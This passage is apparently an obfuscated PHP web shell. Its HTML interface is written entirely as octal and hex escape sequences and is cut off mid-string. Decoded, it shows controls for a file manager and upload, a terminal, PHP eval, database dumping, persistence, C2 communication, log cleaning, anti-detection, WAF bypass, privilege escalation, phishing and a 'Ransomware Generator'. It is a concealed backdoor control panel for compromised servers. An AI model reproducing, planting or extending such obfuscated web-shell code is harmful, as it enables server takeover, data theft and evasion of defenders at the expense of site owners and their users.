165\x74\164\x6f\156\x3e\xa\x9\x9\74\x62\x75\x74\164\x6f\156\40\x63\154\141\x73\x73\75\42\x6e\x61\x76\55\x62\x75\164\164\157\156\42\x20\144\x61\x74\x61\x2d\x76\x69\145\167\x3d\x22\160\151\166\157\x74\x22\76\xf0\x9f\224\x97\40\x50\151\x76\157\x74\x69\x6e\x67\74\x2f\142\165\164\x74\x6f\x6e\x3e\12\11\11\x3c\x62\x75\x74\164\x6f\x6e\40\x63\154\141\163\x73\75\x22\156\141\166\x2d\x62\165\x74\164\x6f\x6e\x22\40\144\x61\164\x61\55\x76\151\x65\x77\x3d\42\x6e\145\x74\167\157\162\x6b\x22\x3e\360\x9f\x8c\x90\40\116\145\164\167\157\162\153\74\x2f\x62\x75\164\x74\x6f\156\76\xa\11\x9\74\142\165\x74\164\x6f\x6e\x20\143\x6c\x61\163\163\x3d\42\x6e\141\166\55\142\165\164\x74\x6f\156\x22\x20\x64\x61\164\x61\55\166\x69\x65\x77\x3d\42\163\x65\x63\x75\x72\x69\x74\x79\x22\76\xf0\x9f\x9b\xa1\xef\270\x8f\40\105\x6e\165\155\145\162\141\x74\x69\157\x6e\74\57\x62\x75\164\x74\x6f\x6e\x3e\12\x9\11\74\142\x75\x74\x74\x6f\156\40\143\154\x61\163\x73\x3d\x22\156\x61\x76\55\142\x75\164\164\157\x6e\42\40\144\141\x74\141\x2d\x76\x69\145\x77\x3d\x22\160\157\x73\164\x2d\145\170\x70\x6c\x6f\151\x74\x61\x74\151\x6f\156\42\76\xf0\x9f\x94\245\x20\x50\157\x73\x74\55\105\x78\160\154\x6f\x69\x74\141\164\x69\157\156\74\57\x62\x75\164\164\157\x6e\x3e\12\11\x9\x3c\x62\x75\164\164\x6f\x6e\x20\143\x6c\141\163\x73\x3d\42\x6e\x61\166\x2d\142\165\164\164\157\156\x22\x20\144\x61\164\x61\55\x76\x69\145\x77\x3d\x22\160\x65\162\x73\151\163\164\145\156\143\x65\x22\x3e\xf0\237\x95\xb5\xef\270\x8f\40\120\145\x72\163\151\x73\x74\145\156\x63\145\x3c\x2f\142\x75\x74\164\x6f\x6e\76\12\x9\x9\74\x62\165\x74\x74\157\x6e\40\x63\x6c\x61\x73\x73\75\x22\156\x61\x76\x2d\142\165\164\x74\157\x6e\42\40\144\x61\x74\141\55\166\x69\145\167\x3d\42\144\141\164\141\x2d\x74\157\x6f\154\x73\42\x3e\xf0\237\223\xa6\x20\104\141\164\x61\40\x54\157\x6f\x6c\x73\x3c\57\x62\x75\x74\164\x6f\156\76\xa\x9\11\x3c\x62\x75\x74\164\x6f\156\x20\x63\x6c\x61\163\x73\75\42\x6e\141\166\55\x62\x75\164\x74\157\x6e\42\40\144\x61\x74\141\55\x76\151\x65\x77\x3d\42\x63\162\157\x6e\42\76\360\237\223\205\40\103\x72\157\x6e\x20\115\x61\156\141\147\x65\162\x3c\x2f\x62\x75\164\x74\x6f\x6e\x3e\xa\x9\x9\x3c\x62\165\x74\164\157\x6e\40\143\154\141\163\163\75\x22\156\141\x76\55\142\x75\x74\164\157\156\42\40\144\141\x74\141\55\x76\151\x65\x77\75\x22\x6d\141\x73\163\55\x75\x70\154\157\x61\144\145\x72\42\76\xf0\x9f\x9a\200\x20\115\x61\x73\163\x20\125\160\154\157\141\144\x65\162\x3c\57\142\x75\164\164\157\156\76\12\11\x9\x3c\x62\x75\164\164\x6f\156\x20\143\x6c\141\x73\x73\x3d\x22\x6e\141\x76\x2d\142\165\x74\164\x6f\x6e\x22\40\x64\141\164\x61\x2d\x76\x69\145\167\x3d\x22\145\166\141\x6c\x22\x3e\xf0\x9f\x90\230\40\x50\110\x50\40\105\166\141\x6c\74\x2f\142\165\x74\164\157\x6e\x3e\xa\11\x9\74\142\x75\164\x74\157\x6e\x20\x63\x6c\x61\x73\163\75\42\x6e\141\x76\55\x62\x75\164\x74\157\x6e\42\x20\144\x61\x74\141\55\x76\151\x65\167\75\42\x74\x6f\x6f\x6c\163\42\76\360\x9f\x9b\240\xef\270\x8f\x20\124\157\157\x6c\163\74\x2f\142\165\164\x74\157\x6e\x3e\12\11\x9\x3c\x62\165\164\x74\157\x6e\40\x63\x6c\x61\x73\163\75\42\156\141\x76\55\142\165\x74\x74\157\x6e\x22\40\144\141\164\x61\x2d\x76\x69\145\167\x3d\x22\143\157\154\165\155\156\55\x64\x75\155\x70\x65\162\42\76\360\x9f\x93\212\x20\103\x6f\154\x75\x6d\x6e\x20\x44\x75\x6d\x70\145\162\x3c\x2f\142\165\x74\164\x6f\156\x3e\xa\x9\11\x3c\x62\165\164\164\x6f\x6e\40\143\154\141\163\163\75\42\156\141\166\x2d\x62\x75\x74\164\157\x6e\x22\x20\144\141\164\141\x2d\x76\151\145\x77\x3d\x22\x64\x61\164\141\142\141\x73\145\55\144\x75\x6d\160\x65\162\42\76\360\237\x92\xbe\40\x44\141\164\x61\x62\x61\163\x65\x20\104\x75\x6d\x70\145\x72\x3c\57\142\x75\164\164\x6f\156\76\xa\x9\11\74\x62\x75\164\x74\x6f\x6e\40\143\x6c\x61\x73\x73\x3d\x22\x6e\141\166\55\142\x75\164\x74\x6f\156\x22\x20\144\x61\x74\141\x2d\166\151\145\x77\x3d\x22\157\x70\x65\x6e\x2d\x62\141\163\x65\144\151\x72\x22\x3e\xf0\237\x94\x93\x20\117\160\145\156\x20\x42\x61\163\x65\104\151\x72\74\57\x62\x75\x74\x74\157\x6e\76\xa\x9\11\x3c\x62\165\x74\164\x6f\x6e\x20\x63\x6c\141\x73\x73\x3d\x22\x6e\x61\x76\55\x62\165\164\x74\157\156\42\40\144\x61\x74\x61\55\166\x69\x65\167\75\x22\x66\141\153\x65\55\155\x61\x69\x6c\x22\76\360\237\x93\247\40\x46\x61\x6b\145\x20\115\141\151\154\x3c\57\142\x75\x74\x74\x6f\x6e\76\xa\11\11\74\x62\165\164\x74\x6f\x6e\x20\143\x6c\141\x73\163\75\42\x6e\141\x76\x2d\x62\x75\164\164\157\156\42\40\144\x61\164\141\55\166\x69\145\x77\x3d\42\x77\x68\155\143\163\55\144\x65\143\x6f\144\x65\162\x22\x3e\360\237\224\x90\x20\x57\110\115\103\x53\x20\104\145\143\157\x64\x65\162\x3c\57\142\x75\164\x74\157\156\x3e\12\x9\x9\74\x62\x75\x74\164\x6f\x6e\x20\x63\x6c\x61\x73\163\75\42\x6e\x61\166\x2d\x62\x75\164\x74\x6f\x6e\42\x20\144\x61\164\x61\x2d\166\x69\x65\x77\x3d\42\x66\x69\x6c\x65\55\167\141\x74\x63\150\x65\162\x22\x3e\xf0\237\x91\201\357\270\x8f\40\x46\151\154\145\40\x57\x61\x74\x63\150\145\162\74\x2f\x62\x75\x74\x74\157\x6e\x3e\xa\x9\11\74\x62\165\164\x74\x6f\156\x20\x63\x6c\141\x73\163\75\x22\x6e\141\x76\55\142\x75\x74\x74\x6f\x6e\42\x20\x64\x61\x74\x61\x2d\x76\151\145\x77\75\x22\x70\162\x6f\143\x65\x73\x73\55\155\x61\x6e\x61\147\145\x72\x22\76\342\x9a\231\xef\xb8\x8f\x20\120\x72\x6f\x63\x65\x73\163\x20\115\x61\x6e\x61\147\145\x72\74\x2f\x62\165\x74\164\x6f\156\76\12\11\x9\x3c\x62\165\164\x74\157\x6e\x20\143\154\141\x73\x73\x3d\42\x6e\141\x76\55\x62\165\x74\x74\x6f\156\x22\x20\144\141\x74\141\x2d\166\151\145\167\75\42\x70\141\x63\x6b\145\164\55\x63\x61\160\x74\165\162\145\42\x3e\360\x9f\223\xa1\x20\120\141\x63\x6b\145\164\40\103\x61\160\x74\x75\162\x65\x3c\57\142\165\x74\x74\x6f\156\76\12\x9\x9\x3c\x62\x75\164\164\157\x6e\40\x63\154\x61\163\x73\x3d\x22\x6e\141\166\55\x62\165\164\x74\157\x6e\42\40\x64\141\x74\141\55\x76\x69\x65\167\75\x22\x63\x72\171\x70\x74\157\x2d\164\157\157\x6c\163\x22\x3e\360\237\224\x90\40\103\162\x79\160\x74\x6f\40\124\157\157\x6c\163\74\x2f\x62\165\164\164\x6f\156\76\12\x9\11\x3c\142\x75\x74\164\157\x6e\40\x63\x6c\x61\163\163\75\x22\156\141\x76\55\142\x75\164\x74\157\156\x22\40\144\141\x74\x61\x2d\x76\151\x65\x77\75\x22\x61\144\166\141\x6e\x63\x65\144\x2d\164\x6f\157\154\x73\x22\x3e\xf0\x9f\x94\xa7\40\x41\144\x76\x61\156\x63\145\x64\x20\124\157\x6f\154\163\74\x2f\x62\165\164\x74\157\156\76\xa\11\x9\74\142\165\164\x74\x6f\156\x20\x63\x6c\x61\163\163\75\x22\x6e\141\x76\x2d\x62\165\164\x74\x6f\x6e\x22\40\x64\x61\x74\141\55\166\151\x65\x77\75\42\x77\145\142\x73\150\x65\154\154\x2d\x6d\141\x6e\x61\x67\x65\162\x22\x3e\360\237\x95\267\357\270\x8f\40\123\x68\x65\x6c\x6c\x20\x4d\141\x6e\x61\147\145\x72\x3c\x2f\142\165\x74\164\157\156\76\12\x9\x9\74\142\x75\x74\164\x6f\x6e\40\x63\x6c\141\163\163\75\x22\x6e\x61\166\55\x62\x75\164\164\157\x6e\42\x20\144\x61\x74\141\x2d\166\151\145\x77\x3d\x22\x72\141\x6e\x73\157\155\x2d\x63\162\145\141\164\x6f\162\42\x3e\xf0\237\222\x80\x20\x52\x61\x6e\x73\x6f\155\167\x61\162\x65\x20\x47\x65\x6e\x65\162\x61\164\157\162\74\57\142\165\x74\164\x6f\156\x3e\xa\x9\x9\x3c\142\165\x74\x74\157\156\40\143\x6c\141\163\163\x3d\x22\x6e\141\166\x2d\x62\x75\x74\164\x6f\x6e\42\x20\x64\x61\164\141\55\x76\151\145\167\x3d\42\141\x64\166\141\156\143\x65\144\x2d\x73\x74\145\141\154\164\150\x22\x3e\xf0\237\221\273\40\x53\164\145\x61\x6c\x74\x68\x20\x26\40\101\156\x74\x69\55\x44\x65\164\145\x63\x74\151\157\x6e\x3c\57\x62\165\164\x74\157\x6e\76\12\11\11\x3c\x62\165\164\x74\157\156\x20\x63\x6c\141\x73\163\x3d\42\x6e\141\x76\55\142\165\164\x74\x6f\156\42\40\x64\141\164\x61\x2d\166\x69\x65\x77\75\42\x6c\157\x67\55\x63\154\x65\x61\156\x65\x72\55\141\144\166\141\x6e\143\145\x64\42\76\360\237\xa7\xb9\x20\101\144\x76\141\156\x63\x65\x64\40\114\157\147\40\103\154\145\x61\156\145\x72\x3c\x2f\x62\x75\x74\164\157\x6e\76\12\11\x9\74\142\165\164\x74\157\156\40\x63\154\141\x73\163\x3d\42\x6e\x61\x76\55\142\x75\x74\x74\x6f\156\x22\40\144\x61\164\141\55\166\x69\145\167\75\42\155\x75\x6c\164\x69\x2d\142\141\x63\x6b\165\160\42\x3e\360\237\222\xbe\40\115\x75\154\x74\x69\55\x4c\157\143\x61\x74\x69\x6f\x6e\x20\x42\141\x63\153\x75\160\74\x2f\x62\165\x74\164\157\156\x3e\xa\11\x9\74\142\x75\x74\x74\157\156\40\x63\x6c\x61\163\x73\x3d\42\156\x61\x76\55\x62\x75\164\164\x6f\x6e\42\40\144\141\x74\141\x2d\x76\151\x65\x77\75\42\x63\62\x2d\143\x6f\155\155\165\x6e\151\x63\141\x74\151\x6f\156\42\x3e\360\237\223\xa1\40\x43\x32\x20\x43\157\155\x6d\165\x6e\x69\143\x61\x74\x69\x6f\156\74\57\x62\x75\164\164\157\156\x3e\xa\x9\11\74\142\165\x74\164\157\x6e\40\x63\154\x61\163\x73\x3d\x22\156\x61\166\55\142\165\164\x74\x6f\x6e\x22\40\x64\141\x74\141\55\x76\151\145\167\x3d\x22\x77\x61\x66\55\x62\x79\160\141\163\163\42\76\360\237\x9b\241\357\xb8\x8f\x20\x57\101\106\40\x42\171\x70\141\x73\x73\x3c\57\142\165\164\x74\x6f\x6e\76\xa\x9\x9\x3c\142\x75\x74\164\157\x6e\x20\x63\x6c\x61\x73\163\x3d\42\156\x61\x76\x2d\x62\165\x74\x74\157\156\x22\x20\x64\141\x74\141\55\x76\151\145\167\x3d\x22\163\171\163\164\145\155\x2d\160\162\x6f\x66\x69\154\145\162\x22\x3e\xf0\237\x94\215\x20\123\171\163\164\x65\x6d\x20\x50\162\x6f\x66\151\x6c\145\x72\74\57\142\x75\x74\164\157\x6e\76\xa\11\11\x3c\x62\165\x74\164\x6f\156\40\143\x6c\141\163\x73\75\x22\156\141\x76\x2d\x62\x75\164\x74\x6f\156\42\x20\x64\x61\164\141\x2d\166\151\145\167\x3d\42\155\x75\x6c\164\151\55\x73\150\x65\154\x6c\42\x3e\xf0\x9f\x8c\220\x20\x4d\165\154\x74\151\x2d\123\150\145\x6c\154\40\115\141\156\141\x67\145\x72\x3c\x2f\142\x75\x74\164\157\x6e\76\12\11\x9\x3c\142\165\164\164\157\x6e\40\143\154\141\163\x73\x3d\x22\156\x61\166\55\142\x75\x74\164\157\x6e\42\x20\144\x61\x74\x61\x2d\166\x69\145\x77\75\42\x65\156\150\141\x6e\143\145\x64\55\160\145\x72\163\151\x73\x74\x65\x6e\x63\x65\42\76\360\237\x94\x90\x20\x45\156\x68\141\x6e\x63\x65\x64\x20\120\x65\x72\163\151\163\x74\x65\156\x63\145\x3c\x2f\142\x75\x74\164\157\x6e\x3e\12\11\x9\74\x62\x75\164\164\x6f\x6e\x20\143\x6c\x61\163\x73\x3d\x22\156\141\166\x2d\142\165\x74\x74\157\156\42\x20\144\x61\164\141\55\166\x69\145\167\x3d\42\x64\145\x66\145\x6e\x64\42\76\xf0\237\x9b\241\xef\xb8\217\x20\x44\145\x66\x65\x6e\144\74\x2f\142\x75\x74\x74\x6f\156\x3e\12\11\11\x3c\x62\165\x74\164\157\x6e\x20\x63\x6c\x61\163\x73\75\42\x6e\x61\x76\x2d\x62\165\164\x74\157\156\x22\40\151\144\75\x22\156\x6f\164\x69\146\151\x63\x61\164\x69\157\x6e\55\142\164\x6e\42\x20\163\164\171\x6c\145\x3d\42\160\157\163\x69\164\x69\157\x6e\72\40\162\145\x6c\x61\x74\151\166\x65\73\x22\76\xf0\237\x94\x94\40\x4e\157\164\151\x66\x69\x63\x61\164\151\x6f\x6e\x73\x20\74\163\160\x61\x6e\x20\151\144\x3d\x22\156\x6f\x74\151\x66\x69\143\141\x74\x69\x6f\156\x2d\142\x61\144\x67\x65\x22\40\163\164\x79\x6c\x65\75\42\x64\151\163\160\154\141\x79\72\x6e\157\156\x65\x3b\x20\160\157\163\x69\x74\151\x6f\156\72\x20\141\x62\x73\x6f\x6c\165\x74\x65\x3b\x20\164\x6f\160\72\40\55\65\160\x78\x3b\x20\x72\x69\147\x68\164\x3a\40\x2d\x35\x70\170\73\40\x62\141\143\x6b\147\162\157\x75\156\x64\x3a\x20\166\x61\x72\x28\55\x2d\141\x63\x63\x65\x6e\164\x2d\162\145\x64\x29\73\40\143\157\154\x6f\x72\72\x20\167\x68\x69\x74\145\73\x20\x62\157\162\x64\145\x72\x2d\162\x61\x64\151\x75\x73\72\40\x35\60\45\73\x20\167\151\144\164\150\x3a\40\61\70\160\x78\73\x20\x68\145\151\147\150\164\72\x20\x31\70\160\x78\x3b\x20\146\x6f\156\x74\55\x73\151\172\x65\x3a\40\61\x30\x70\x78\73\x20\x64\151\x73\x70\154\x61\171\72\x20\146\x6c\x65\x78\x3b\x20\141\154\151\x67\x6e\55\x69\x74\145\x6d\x73\72\40\x63\145\x6e\x74\145\x72\73\40\x6a\165\x73\164\151\146\171\x2d\143\x6f\x6e\164\x65\x6e\x74\x3a\x20\143\x65\x6e\x74\x65\162\73\42\76\60\x3c\57\163\x70\x61\x6e\x3e\x3c\57\x62\x75\x74\164\x6f\156\x3e\12\x9\11\x3c\x2f\x64\x69\x76\76\12\x9\x3c\x2f\144\x69\166\76\12\40\11\74\x64\151\166\40\143\x6c\141\163\x73\x3d\x22\155\x61\x69\x6e\55\143\157\156\x74\x65\x6e\x74\42\x3e\12\40\11\11\x3c\144\151\x76\x20\151\144\x3d\x22\166\x69\145\x77\x2d\x64\141\163\x68\x62\157\141\162\144\x22\40\143\x6c\141\x73\x73\75\x22\x76\x69\x65\167\x2d\x63\157\156\164\x61\151\156\x65\x72\x22\x20\163\x74\x79\x6c\x65\x3d\x22\144\151\163\160\154\141\171\72\x6e\x6f\156\145\73\x22\x3e\74\57\x64\x69\x76\x3e\12\x20\x9\11\x3c\x64\151\166\40\x69\x64\75\x22\x76\151\145\x77\x2d\146\151\154\145\x73\x22\x20\x63\154\141\x73\x73\75\42\x76\x69\x65\x77\x2d\143\x6f\x6e\164\x61\x69\x6e\145\x72\42\40\x73\164\171\154\x65\75\x22\x64\x69\163\160\x6c\x61\171\72\x66\154\145\x78\73\x22\76\x3c\144\x69\x76\x20\x63\154\x61\x73\163\75\42\x63\x6f\x6e\x74\145\x6e\164\55\x68\x65\141\x64\x65\162\40\146\151\154\x65\55\x6d\x61\156\x61\x67\x65\162\55\143\x6f\156\164\x72\157\154\x73\x22\x3e\x3c\x69\x6e\x70\165\x74\x20\164\x79\x70\145\75\x22\164\x65\170\164\42\40\x69\x64\x3d\42\x63\167\144\42\40\x72\x65\141\x64\157\156\x6c\171\76\74\144\151\x76\76\74\142\x75\164\164\157\x6e\40\151\x64\x3d\42\x68\157\155\145\55\163\150\145\x6c\x6c\x2d\142\x74\x6e\x22\x20\163\x74\171\154\x65\75\x22\142\x61\143\153\147\162\157\x75\x6e\144\x2d\143\x6f\154\x6f\162\72\40\x76\141\162\x28\55\55\x61\x63\143\x65\156\x74\x2d\147\x6f\154\x64\51\73\42\x3e\x48\x6f\x6d\145\x20\x53\x68\145\x6c\154\x3c\x2f\x62\x75\x74\164\157\x6e\x3e\x3c\x62\x75\x74\x74\157\x6e\40\151\144\x3d\42\x63\162\x65\141\164\145\x2d\146\151\154\x65\55\x62\x74\156\x22\76\x4e\x65\x77\40\x46\151\154\x65\x3c\x2f\142\165\x74\x74\x6f\x6e\x3e\x3c\x62\165\x74\x74\157\x6e\40\x69\144\75\x22\143\162\145\x61\x74\x65\55\x64\x69\162\x2d\142\x74\x6e\x22\x3e\x4e\145\167\x20\104\x69\x72\x3c\x2f\x62\x75\164\x74\157\156\76\74\x69\x6e\160\x75\164\x20\164\171\x70\x65\75\x22\x66\151\154\x65\x22\40\151\144\75\x22\x75\x70\154\157\x61\144\x2d\x66\151\x6c\145\x2d\151\x6e\x70\x75\164\x22\40\x73\164\x79\154\145\75\42\x64\x69\163\x70\x6c\x61\x79\72\156\x6f\156\145\x3b\x22\x20\x6d\x75\x6c\164\151\x70\x6c\x65\x3e\74\142\x75\x74\x74\157\x6e\x20\157\x6e\x63\154\151\143\153\75\x22\144\x6f\143\165\155\145\x6e\164\56\147\x65\x74\x45\154\145\155\x65\156\x74\x42\x79\111\144\50\x27\165\160\154\x6f\x61\x64\x2d\146\x69\x6c\x65\x2d\x69\156\x70\x75\164\47\51\x2e\143\154\151\x63\x6b\50\x29\42\x3e\125\160\x6c\157\141\x64\x3c\x2f\x62\x75\x74\164\157\x6e\76\x3c\57\x64\151\166\76\74\x2f\x64\x69\x76\x3e\x3c\144\151\166\x20\x63\154\x61\163\x73\75\42\143\x6f\x6e\164\x65\x6e\164\55\141\162\x65\x61\40\146\151\154\145\x2d\x6d\141\x6e\x61\x67\145\x72\42\76\74\x74\x61\142\x6c\145\40\x63\x6c\x61\163\x73\75\x22\x72\x65\163\165\x6c\x74\163\x2d\x74\141\x62\x6c\145\x22\76\x3c\x74\150\x65\x61\x64\76\x3c\164\x72\76\x3c\164\150\x3e\x4e\141\155\145\74\57\164\x68\76\x3c\164\x68\x3e\123\x69\172\x65\x3c\57\x74\150\x3e\x3c\164\150\x3e\120\145\x72\x6d\151\163\163\x69\x6f\x6e\163\74\57\x74\150\x3e\x3c\x74\150\76\x4d\x6f\x64\151\146\x69\x65\x64\x3c\57\x74\x68\x3e\x3c\164\150\76\x41\143\164\x69\157\x6e\x73\74\57\x74\x68\76\x3c\x2f\x74\x72\76\x3c\x2f\x74\150\145\x61\x64\76\74\x74\x62\x6f\x64\x79\x20\151\144\75\x22\x66\151\x6c\x65\x2d\x6c\x69\x73\x74\x22\76\x3c\x2f\164\142\x6f\x64\x79\x3e\74\57\164\141\x62\x6c\145\x3e\x3c\x2f\x64\x69\166\x3e\x3c\57\144\151\x76\76\12\x20\x9\11\74\144\151\166\40\x69\144\75\x22\x76\151\145\167\x2d\164\x65\162\155\151\x6e\141\154\x22\x20\143\154\141\163\x73\75\x22\166\151\145\167\x2d\143\157\x6e\x74\x61\x69\x6e\145\x72\x22\76\x3c\x64\x69\x76\40\143\x6c\x61\x73\x73\75\42\143\x6f\156\x74\x65\x6e\x74\x2d\150\x65\141\144\145\x72\x22\76\124\145\x72\155\151\156\x61\x6c\x3c\x2f\144\x69\x76\x3e\74\x64\x69\x76\x20\143\154\141\x73\163\x3d\42\164\x65\162\155\x69\156\x61\x6c\x22\x20\157\156\x63\154\x69\143\x6b\x3d\x22\144\x6f\143\165\155\145\156\x74\56\x67\145\x74\105\x6c\145\155\145\x6e\164\x42\x79\111\x64\50\47\164\145\162\155\55\x69\156\160\x75\164\47\x29\x2e\146\157\x63\165\163\50\51\42\x3e\x3c\144\151\x76\x20\x69\x64\x3d\42\x74\145\162\155\55\x6f\x75\x74\x70\165\x74\42\76\x3c\x2f\x64\x69\166\76\74\x64\151\166\x20\143\x6c\x61\163\x73\75\x22\164\x65\x72\155\55\160\x72\x6f\x6d\160\x74\x22\x3e\x3c\163\x70\141\x6e\x20\x69\x64\x3d\x22\x74\145\162\155\55\x75\x73\x65\x72\x2d\x68\157\163\164\42\x3e\74\57\x73\x70\x61\x6e\76\x3a\74\163\160\141\x6e\40\151\x64\x3d\42\164\x65\162\155\x2d\143\167\x64\42\76\x3c\57\163\160\141\156\76\74\x73\160\141\156\x20\143\x6c\x61\163\x73\75\42\x70\x72\157\x6d\160\x74\x2d\163\x79\x6d\142\157\x6c\42\x3e\44\x3c\x2f\163\160\141\x6e\x3e\x3c\x2f\x64\x69\x76\x3e\74\x69\x6e\160\x75\x74\x20\x74\x79\x70\145\x3d\42\x74\145\170\164\x22\40\x69\144\75\x22\164\145\x72\155\55\151\156\x70\165\x74\42\40\x61\165\164\x6f\x63\x6f\x6d\x70\x6c\x65\164\145\75\x22\x6f\146\146\42\x20\x61\165\x74\157\146\x6f\143\165\163\x3e\x3c\57\144\151\x76\x3e\x3c\57\144\151\166\76\xa\x20\11\11\x3c\x64\151\x76\x20\151\x64\x3d\x22\x76\x69\145\167\55\144\x6f\x6d\x61\x69\x6e\x2d\x69\x6e\164\145\154\x22\40\143\154\x61\x73\x73\x3d\42\x76\x69\x65\167\x2d\x63\x6f\x6e\x74\x61\x69\x6e\x65\162\42\76\74\144\151\x76\40\143\154\x61\163\x73\x3d\x22\143\x6f\156\164\x65\156\164\x2d\150\145\141\x64\145\162\x22\x3e\x44\x6f\155\x61\151\x6e\x20\x49\156\164\145\154\154\x69\x67\145\x6e\143\145\x3c\57\x64\151\x76\76\74\144\151\x76\40\143\x6c\141\x73\x73\75\42\x63\157\x6e\164\145\x6e\164\55\141\x72\x65\x61\42\76\x3c\144\x69\x76\x20\143\154\x61\163\x73\x3d\42\x74\157\157\x6c\x2d\x73\145\143\x74\151\x6f\x6e\42\x3e\x3c\150\63\76\x53\x65\162\166\x65\162\40\104\157\155\141\151\x6e\x20\x52\x65\143\x6f\156\156\141\x69\x73\x73\141\x6e\x63\145\x3c\x2f\150\x33\76\74\x70\40\163\x74\x79\x6c\145\x3d\x22\143\x6f\x6c\157\162\x3a\x20\x76\141\162\50\x2d\x2d\x74\x65\170\x74\x2d\x6d\145\x64\51\73\x22\x3e\101\165\x74\157\155\141\164\151\143\x61\x6c\154\171\x20\147\141\164\150\x65\x72\40\151\x6e\164\145\x6c\154\x69\147\x65\156\143\145\x20\157\156\40\x74\x68\145\40\163\x65\x72\x76\x65\162\47\x73\x20\160\x72\151\155\x61\x72\x79\x20\x64\x6f\x6d\x61\151\156\x20\x28\x3c\x73\164\x72\157\x6e\x67\40\x69\144\75\42\x69\x6e\164\x65\154\55\x68\157\x73\x74\x2d\156\141\x6d\x65\42\x3e\x3c\57\x73\x74\162\x6f\x6e\147\x3e\51\x2e\40\124\150\x69\163\x20\x69\x6e\143\154\x75\144\x65\163\40\104\x4e\x53\x20\x72\x65\143\x6f\162\x64\163\54\40\x6f\x74\150\x65\162\40\x77\145\x62\163\151\164\145\x73\x20\x6f\x6e\x20\x74\x68\145\x20\163\x61\x6d\x65\x20\111\120\54\40\141\x6e\144\40\141\x20\161\x75\151\143\153\40\163\143\x61\156\40\146\x6f\162\40\143\x6f\155\155\157\156\x20\163\165\x62\x64\x6f\155\141\151\x6e\163\56\74\x2f\160\x3e\74\x62\x75\x74\164\x6f\156\x20\x69\144\75\42\x72\165\x6e\55\144\157\155\x61\151\156\55\x69\x6e\164\145\x6c\x2d\142\164\156\x22\x3e\107\141\164\x68\x65\x72\40\x49\x6e\x74\145\154\154\x69\147\x65\156\x63\x65\x3c\x2f\142\165\164\164\157\x6e\x3e\x3c\57\144\x69\x76\76\74\144\x69\166\40\x69\144\x3d\42\x64\157\155\141\x69\x6e\55\151\156\x74\145\x6c\x2d\162\145\x73\x75\x6c\164\163\x22\40\163\x74\171\x6c\x65\x3d\42\x64\x69\x73\x70\x6c\x61\x79\72\156\157\156\x65\x3b\40\x6d\x61\162\147\x69\156\55\x74\x6f\160\72\40\62\162\145\x6d\x3b\x22\76\74\x68\162\x3e\x3c\x68\63\76\104\116\123\x20\x52\x65\143\x6f\162\x64\163\74\57\x68\63\76\x3c\160\162\145\40\151\x64\75\42\x69\x6e\x74\145\154\x2d\144\x6e\x73\55\x6f\165\164\160\165\x74\x22\x20\x63\154\x61\x73\x73\75\x22\157\x75\x74\x70\165\x74\55\142\x6f\x78\42\76\74\x2f\x70\162\x65\76\x3c\x68\162\76\x3c\150\63\76\x4f\x74\150\x65\x72\40\123\x69\x74\145\163\x20\x6f\x6e\x20\x53\x65\x72\166\145\x72\40\50\74\x73\160\x61\156\x20\x69\x64\75\42\x69\x6e\164\145\x6c\55\151\160\x2d\x61\144\x64\x72\x22\76\74\57\x73\160\x61\156\x3e\x29\74\x2f\x68\63\76\74\160\40\163\164\171\x6c\x65\75\42\x63\x6f\154\x6f\162\72\x20\x76\141\162\50\x2d\x2d\164\145\170\164\x2d\x6d\145\144\x29\x3b\40\146\157\156\x74\55\163\x69\172\145\72\x20\60\x2e\70\162\145\x6d\73\x22\x3e\120\157\167\x65\x72\x65\x64\x20\x62\x79\40\x48\141\x63\x6b\x65\162\124\x61\162\147\145\164\56\x63\x6f\155\40\x41\120\x49\x3c\x2f\x70\x3e\x3c\x70\x72\145\40\x69\x64\75\x22\x69\156\164\145\x6c\x2d\162\145\x76\x65\x72\163\x65\55\151\160\55\157\165\164\x70\165\x74\42\40\143\x6c\x61\163\x73\x3d\x22\x6f\165\164\x70\x75\x74\55\142\x6f\x78\x22\76\74\x2f\160\162\x65\x3e\74\150\162\76\74\x68\63\x3e\103\x6f\155\x6d\x6f\156\x20\123\x75\142\144\157\155\141\151\156\163\x20\106\157\165\x6e\x64\x3c\57\x68\63\76\74\160\x72\x65\x20\151\144\75\x22\x69\x6e\164\x65\x6c\x2d\163\x75\142\x64\157\x6d\x61\151\x6e\x73\55\x6f\165\164\160\x75\164\42\x20\x63\x6c\x61\x73\x73\x3d\x22\157\x75\x74\160\x75\164\x2d\x62\x6f\x78\42\x3e\x3c\x2f\x70\162\x65\76\x3c\57\144\151\x76\x3e\x3c\57\x64\151\166\x3e\x3c\x2f\x64\151\x76\76\xa\x20\40\40\x20\40\x20\40\40\74\x64\151\x76\40\151\144\x3d\42\166\151\145\x77\x2d\x61\x74\164\x61\143\153\55\145\x76\141\163\x69\x6f\156\x22\40\143\154\x61\163\163\75\42\166\151\x65\x77\55\x63\157\x6e\x74\141\151\156\145\x72\42\x3e\x3c\x64\x69\166\40\x63\154\141\163\163\x3d\x22\x63\x6f\x6e\164\145\x6e\164\55\x68\x65\x61\144\x65\162\42\x3e\x41\x74\x74\x61\143\x6b\40\46\x20\105\166\141\x73\x69\157\x6e\40\x53\x75\x69\164\x65\74\57\x64\x69\166\x3e\x3c\x64\151\166\40\143\x6c\141\163\x73\75\42\x63\157\x6e\x74\x65\x6e\164\x2d\x61\162\x65\x61\42\x3e\74\144\151\x76\40\x63\154\x61\x73\163\75\x22\164\141\x62\x73\x22\x3e\x3c\x73\x70\x61\156\40\143\154\141\163\163\75\42\164\141\x62\x2d\x6c\151\x6e\153\x20\x61\x63\164\151\166\x65\42\40\x64\141\x74\141\55\x74\141\x62\75\42\x70\162\151\166\x65\163\143\42\x3e\120\162\x69\166\x69\x6c\145\x67\145\40\105\163\143\x61\154\x61\x74\151\x6f\x6e\x3c\57\x73\160\x61\x6e\76\x3c\163\160\141\156\40\143\154\x61\163\163\x3d\42\164\x61\x62\55\154\151\156\153\x22\40\x64\141\x74\x61\x2d\x74\141\x62\x3d\42\163\165\142\156\x65\164\x2d\x73\x63\141\156\42\x3e\x49\x6e\164\145\162\x6e\141\x6c\40\116\145\x74\x77\x6f\162\x6b\74\x2f\x73\160\x61\x6e\76\x3c\x73\x70\x61\156\x20\x63\x6c\141\163\163\75\42\164\x61\142\55\x6c\151\x6e\153\42\x20\x64\141\x74\x61\x2d\164\141\142\x3d\x22\x65\x76\141\163\x69\157\156\x22\76\105\166\141\x73\151\x6f\x6e\x3c\x2f\x73\x70\141\156\76\74\x73\160\x61\156\x20\143\154\141\163\x73\x3d\x22\164\141\142\x2d\154\151\156\x6b\x22\x20\x64\141\164\141\x2d\164\141\142\x3d\x22\160\150\151\x73\150\x69\x6e\x67\42\x3e\120\